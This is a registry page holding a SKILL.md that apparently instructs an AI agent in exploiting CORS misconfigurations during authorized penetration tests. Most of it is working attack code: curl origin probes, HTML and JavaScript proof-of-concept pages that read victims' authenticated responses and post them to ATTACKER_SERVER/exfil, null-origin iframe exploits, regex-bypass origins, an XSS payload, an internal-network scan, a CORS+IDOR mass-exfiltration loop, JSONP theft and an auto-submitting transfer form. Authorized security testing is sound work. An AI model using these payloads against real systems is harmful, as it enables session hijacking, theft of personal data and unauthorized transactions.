blacklanternsecurity

cors-misconfiguration

Exploit CORS (Cross-Origin Resource Sharing) misconfigurations during authorized penetration testing.

blacklanternsecurity 208 24 Updated 3mo ago
GitHub

Install

npx skillscat add blacklanternsecurity/red-run/cors-misconfiguration

Install via the SkillsCat registry.

SKILL.md

CORS Misconfiguration

You are helping a penetration tester exploit Cross-Origin Resource Sharing
misconfigurations. The target application sets CORS headers that allow
unauthorized origins to read cross-origin responses, potentially enabling
credential theft, session hijacking, and sensitive data exfiltration. The goal
is to demonstrate that an attacker-controlled origin can read authenticated
responses from the target. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

  • Print [cors-misconfiguration] Activated → <target> to the screen on activation.
  • Evidence → save significant output to engagement/evidence/ with
    descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

Do NOT write to engagement/activity.md, engagement/findings.md, or
engagement state. The orchestrator maintains these files. Report all findings
in your return summary.

State Management

Call get_state_summary() from the state-reader MCP server to read current
engagement state. Use it to:

  • Skip re-testing targets, parameters, or vulns already confirmed
  • Leverage existing credentials or access for this technique
  • Understand what's been tried and failed (check Blocked section)

Do NOT write engagement state. When your work is complete, report all
findings clearly in your return summary. The orchestrator parses your summary
and records state changes. Your return summary must include:

  • New targets/hosts discovered (with ports and services)
  • New credentials or tokens found
  • Access gained or changed (user, privilege level, method)
  • Vulnerabilities confirmed (with status and severity)
  • Pivot paths identified (what leads where)
  • Blocked items (what failed and why, whether retryable)

Prerequisites

  • Target endpoint that returns data you want to steal cross-origin
    (user profile, API keys, session info, PII)
  • The endpoint must use cookie-based or automatic authentication
    (CORS credential theft doesn't work with manual Authorization headers
    added by JavaScript — those require the attacker's JS to already have the token)
  • A domain you control for hosting PoC pages (or use Burp Collaborator)

Step 1: Assess

Test the target's CORS configuration by sending requests with various Origin
headers. The critical combination is Access-Control-Allow-Origin set to an
attacker-controllable value plus Access-Control-Allow-Credentials: true.

Quick Detection

# Test with an arbitrary attacker origin
curl -sI -H "Origin: https://evil.com" \
  "https://TARGET/api/endpoint" | grep -i "access-control"

# Test with null origin
curl -sI -H "Origin: null" \
  "https://TARGET/api/endpoint" | grep -i "access-control"

# Test with a subdomain variant
curl -sI -H "Origin: https://sub.TARGET" \
  "https://TARGET/api/endpoint" | grep -i "access-control"

Systematic Header Analysis

# Full CORS header scan across multiple origin patterns
ORIGINS=(
  "https://evil.com"
  "null"
  "https://TARGET.evil.com"
  "https://evil.TARGET"
  "https://TARGETevil.com"
  "https://evil-TARGET"
  "https://sub.TARGET"
  "https://TARGET_evil.com"
  "https://TARGET%60evil.com"
)

for origin in "${ORIGINS[@]}"; do
  echo "=== Origin: $origin ==="
  curl -sI -H "Origin: $origin" \
    -H "Cookie: session=VALID_SESSION" \
    "https://TARGET/api/sensitive" 2>/dev/null | \
    grep -i "access-control"
  echo
done

What to Look For

Response Headers Severity Exploitable?
ACAO: https://evil.com + ACAC: true Critical Yes — full credential theft
ACAO: null + ACAC: true High Yes — via sandboxed iframe
ACAO: * (no credentials) Medium Only if endpoint has sensitive data without auth
ACAO: * + ACAC: true Invalid Browsers reject this combination
ACAO: https://sub.TARGET + ACAC: true Medium Requires XSS on trusted subdomain
No CORS headers None Not exploitable via CORS

ACAO = Access-Control-Allow-Origin, ACAC = Access-Control-Allow-Credentials

Step 2: Origin Reflection

The most common and critical misconfiguration — the server reflects the
Origin header directly into Access-Control-Allow-Origin.

Confirm

curl -sI -H "Origin: https://attacker-controlled.com" \
  -H "Cookie: session=VALID_SESSION" \
  "https://TARGET/api/user/profile"

# Vulnerable if response includes:
# Access-Control-Allow-Origin: https://attacker-controlled.com
# Access-Control-Allow-Credentials: true

Exploit — Data Exfiltration PoC

Host this on your attacker-controlled domain:

<!DOCTYPE html>
<html>
<body>
<h1>CORS PoC — Origin Reflection</h1>
<div id="result"></div>
<script>
var xhr = new XMLHttpRequest();
xhr.onload = function() {
  // Display stolen data
  document.getElementById('result').innerText = this.responseText;

  // Exfiltrate to attacker server
  fetch('https://ATTACKER_SERVER/exfil', {
    method: 'POST',
    body: this.responseText
  });
};
xhr.open('GET', 'https://TARGET/api/user/profile', true);
xhr.withCredentials = true;  // Send victim's cookies
xhr.send();
</script>
</body>
</html>

Exploit — Fetch API Variant

fetch('https://TARGET/api/user/profile', {
  credentials: 'include'
})
.then(r => r.text())
.then(data => {
  // Exfiltrate
  navigator.sendBeacon('https://ATTACKER_SERVER/exfil', data);
});

Step 3: Null Origin

The application whitelists null as a trusted origin. The null origin is
sent by sandboxed iframes, data: URIs, and local file access.

Confirm

curl -sI -H "Origin: null" \
  -H "Cookie: session=VALID_SESSION" \
  "https://TARGET/api/user/profile"

# Vulnerable if response includes:
# Access-Control-Allow-Origin: null
# Access-Control-Allow-Credentials: true

Exploit — Sandboxed Iframe with Data URI

<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
  src="data:text/html,<script>
    var xhr = new XMLHttpRequest();
    xhr.onload = function() {
      // Exfiltrate stolen data
      location = 'https://ATTACKER_SERVER/exfil?data='
        %2B encodeURIComponent(this.responseText);
    };
    xhr.open('GET', 'https://TARGET/api/user/profile', true);
    xhr.withCredentials = true;
    xhr.send();
  </script>">
</iframe>

Exploit — Srcdoc Variant

<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
  srcdoc="<script>
    fetch('https://TARGET/api/user/profile', {credentials: 'include'})
    .then(r => r.text())
    .then(data => {
      fetch('https://ATTACKER_SERVER/exfil', {
        method: 'POST',
        body: data
      });
    });
  </script>">
</iframe>

Step 4: Regex Bypass

When the server validates the Origin header with a regex, common implementation
mistakes allow bypass.

Unescaped Dot

Server regex: ^https://api.example.com$ — dot matches any character.

# Register: apiXexample.com (any char replaces the dot)
curl -sI -H "Origin: https://apiXexample.com" \
  "https://TARGET/api/endpoint" | grep -i "access-control"

Missing End Anchor

Server regex: ^https://example.com — no $ anchor.

# Any domain starting with example.com passes
curl -sI -H "Origin: https://example.com.evil.com" \
  "https://TARGET/api/endpoint" | grep -i "access-control"

Missing Start Anchor

Server regex: example.com$ — no ^ anchor.

# Any domain ending with example.com passes
curl -sI -H "Origin: https://evilexample.com" \
  "https://TARGET/api/endpoint" | grep -i "access-control"

Suffix Matching Without Dot

Server checks: origin ends with trusted.com (not .trusted.com).

curl -sI -H "Origin: https://nottrusted.com" \
  "https://TARGET/api/endpoint" | grep -i "access-control"

Special Character Bypass

# Underscore (Chrome/Firefox accept in origin)
curl -sI -H "Origin: https://target_evil.com" \
  "https://TARGET/api/endpoint" | grep -i "access-control"

# Backtick (Safari edge case)
curl -sI -H "Origin: https://target\`evil.com" \
  "https://TARGET/api/endpoint" | grep -i "access-control"

# Curly brace (Safari)
curl -sI -H "Origin: https://target}.evil.com" \
  "https://TARGET/api/endpoint" | grep -i "access-control"

Exploitation for Any Regex Bypass

Once you find an origin that passes validation, host the exfiltration PoC
(from Step 2) on that domain.

Step 5: Subdomain Trust

The server trusts all subdomains: *.target.com. Exploitable if you can find
XSS on any subdomain.

Confirm Subdomain Trust

curl -sI -H "Origin: https://anything.TARGET" \
  "https://TARGET/api/user/profile" | grep -i "access-control"

# Also check for wildcard
curl -sI -H "Origin: https://evil.sub.TARGET" \
  "https://TARGET/api/user/profile" | grep -i "access-control"

Exploit via Subdomain XSS

If XSS exists on blog.target.com (or any other subdomain):

https://blog.target.com/post?q=<script>
fetch('https://api.target.com/user/profile',{credentials:'include'})
.then(r=>r.text())
.then(d=>fetch('https://ATTACKER_SERVER/exfil',{method:'POST',body:d}))
</script>

The XSS payload on the trusted subdomain makes a credentialed request to the
API, which trusts the subdomain origin and returns data with CORS headers.

Subdomain Takeover + CORS

If a subdomain has a dangling DNS record (CNAME to unclaimed service), take it
over and host the CORS exploitation PoC there. The API will trust the
subdomain origin.

Step 6: Wildcard Without Credentials

Access-Control-Allow-Origin: * without Access-Control-Allow-Credentials: true.

Impact Assessment

  • Browsers do not send cookies with wildcard CORS
  • Only exploitable if the endpoint returns sensitive data without
    authentication
    (public API with internal data, unauthenticated admin panel)
  • Useful for internal network pivoting — public website reads from internal
    services that use wildcard CORS

Exploit — Internal Network Pivot

If the victim visits an attacker page while on the internal network:

// Scan internal services accessible via wildcard CORS
const targets = [
  'http://192.168.1.1/admin',
  'http://10.0.0.5:8080/api/status',
  'http://localhost:3000/debug',
  'http://jenkins.internal:8080/api/json',
  'http://grafana.internal:3000/api/org'
];

targets.forEach(url => {
  fetch(url)
    .then(r => r.text())
    .then(data => {
      if (data.length > 0) {
        fetch('https://ATTACKER_SERVER/internal', {
          method: 'POST',
          body: JSON.stringify({url: url, data: data})
        });
      }
    })
    .catch(() => {});
});

Step 7: Advanced Techniques

CORS + Cache Poisoning

If the server reflects Origin in the response and the response is cached
without Vary: Origin:

# Check for missing Vary header
curl -sI -H "Origin: https://evil.com" \
  "https://TARGET/page" | grep -i "vary"

# If Vary: Origin is missing, the cached response may include:
# Access-Control-Allow-Origin: https://evil.com
# Subsequent users get this cached response, enabling cross-origin reads

CORS + IDOR Chain

CORS misconfiguration combined with IDOR enables mass cross-origin data
exfiltration:

// CORS allows reading responses, IDOR allows accessing any user's data
async function exfilAll() {
  for (let id = 1; id <= 1000; id++) {
    try {
      const r = await fetch(`https://TARGET/api/users/${id}`, {
        credentials: 'include'
      });
      if (r.ok) {
        const data = await r.json();
        await fetch('https://ATTACKER_SERVER/exfil', {
          method: 'POST',
          body: JSON.stringify({id: id, data: data})
        });
      }
    } catch(e) {}
    await new Promise(r => setTimeout(r, 100)); // rate limit
  }
}
exfilAll();

XSSI / JSONP Bypass

<script> tags are not subject to CORS (SOP doesn't restrict script loading).
If the target has JSONP endpoints, CORS is irrelevant:

<script>
// Override the callback function to steal data
function jsonpCallback(data) {
  fetch('https://ATTACKER_SERVER/exfil', {
    method: 'POST',
    body: JSON.stringify(data)
  });
}
</script>
<!-- Browser loads script cross-origin, executes callback with data -->
<script src="https://TARGET/api/user?callback=jsonpCallback"></script>

Preflight Bypass

Simple requests (GET, POST with standard Content-Type) don't trigger preflight
OPTIONS checks. The server processes the request — CORS only controls whether
the browser lets JavaScript read the response.

<!-- This POST will be SENT (server processes it) even without CORS headers.
     The browser just prevents reading the response.
     Useful for blind CSRF-style attacks where you don't need the response. -->
<form action="https://TARGET/api/transfer" method="POST"
      enctype="application/x-www-form-urlencoded">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="1000">
</form>
<script>document.forms[0].submit();</script>

Step 8: Escalate or Pivot

After confirming CORS misconfiguration:

  • Credential/session theft confirmed: Demonstrate account takeover by
    stealing session tokens or API keys via the CORS PoC. Route to
    oauth-attacks if OAuth tokens are exposed.
  • IDOR found on same API: Route to idor — CORS + IDOR is a critical
    combination enabling mass cross-origin data exfiltration.
  • XSS needed for subdomain trust exploitation: Route to xss-reflected
    or xss-stored to find XSS on a trusted subdomain.
  • Internal network access via wildcard CORS: Document internal services
    discovered. Route to ssrf if internal services can be further exploited.
  • JSONP endpoint found: JSONP bypasses CORS entirely — document as
    separate finding and exploit directly.
  • Cache poisoning possible: Route to web cache poisoning techniques
    (Phase 3b) if available.

Update engagement/state.md with any new credentials, access, vulns, or pivot
paths discovered.

When routing, pass along: confirmed misconfiguration type, affected endpoints,
working PoC, and what data is accessible.

Stall Detection

If you have spent 5 or more tool-calling rounds on the same failure with
no meaningful progress — same error, no new information, no change in output
stop.

What counts as progress:

  • Trying a variant or alternative documented in this skill
  • Adjusting syntax, flags, or parameters per the Troubleshooting section
  • Gaining new diagnostic information (different error, partial success)

What does NOT count as progress:

  • Writing custom exploit code not provided in this skill
  • Inventing workarounds using techniques from other domains
  • Retrying the same command with trivially different input
  • Compiling or transferring tools not mentioned in this skill

If you find yourself writing code that isn't in this skill, you have left
methodology. That is a stall.

Do not loop. Work through failures systematically:

  1. Try each variant or alternative once
  2. Check the Troubleshooting section for known fixes
  3. If nothing works after 5 rounds, you are stalled

When stalled, return to the orchestrator immediately with:

  • What was attempted (commands, variants, alternatives tried)
  • What failed and why (error messages, empty responses, timeouts)
  • Assessment: blocked (permanent — config, patched, missing prereq) or
    retry-later (may work with different context, creds, or access)

When stalled: Tell the user you're stalled, present what was tried, and
recommend the next best path. Return findings to the orchestrator — it will
decide whether to revisit with new context or route elsewhere.

OPSEC Notes

  • CORS testing with curl is invisible to the target beyond normal HTTP requests
  • Hosting PoC pages requires your own domain or Burp Collaborator
  • The actual exploitation requires the victim to visit your attacker page —
    no server-side artifacts beyond the credentialed request
  • High-volume CORS + IDOR enumeration (many requests through victim's browser)
    may trigger rate limiting or anomaly detection
  • Vary: Origin absence makes cache poisoning possible but also means your
    test may affect cached responses for other users — test carefully

Troubleshooting

No CORS Headers in Response

  • The endpoint may not have CORS configured at all (not exploitable via CORS)
  • Try adding Access-Control-Request-Method: GET header to trigger CORS
  • Try a preflight request: curl -X OPTIONS -H "Origin: ..." TARGET
  • Check if CORS is only enabled on specific endpoints (API vs static pages)
  • Look for JSONP as an alternative cross-origin data access method

Origin Reflected but No Credentials Header

Without Access-Control-Allow-Credentials: true, the browser won't send
cookies. Impact is limited to:

  • Reading responses that don't require authentication
  • Internal network pivoting (if endpoint has wildcard and serves sensitive
    data without auth)

PoC Works in curl but Not in Browser

  • Check for Content Security Policy that blocks inline scripts or connections
    to your exfiltration server
  • Verify SameSite cookie attribute — SameSite=Strict or Lax may prevent
    cookie transmission on cross-origin requests from <script> (Lax allows
    top-level navigations)
  • Test in a private/incognito window to avoid extension interference
  • Use SameSite=None; Secure test cookies if possible

Preflight (OPTIONS) Request Fails

  • The server may allow simple requests but reject preflight for custom headers
  • Restructure the exploit to use only simple request methods and headers
    (GET, POST with Content-Type: application/x-www-form-urlencoded)
  • If the exploit needs custom headers (e.g., Authorization), CORS preflight
    is required and must pass

Rate Limiting on Exfiltration Requests

  • Add delays between requests in the PoC
  • Use navigator.sendBeacon() for single-shot exfiltration (more reliable
    than fetch for page unload scenarios)
  • Batch data and exfiltrate in fewer, larger requests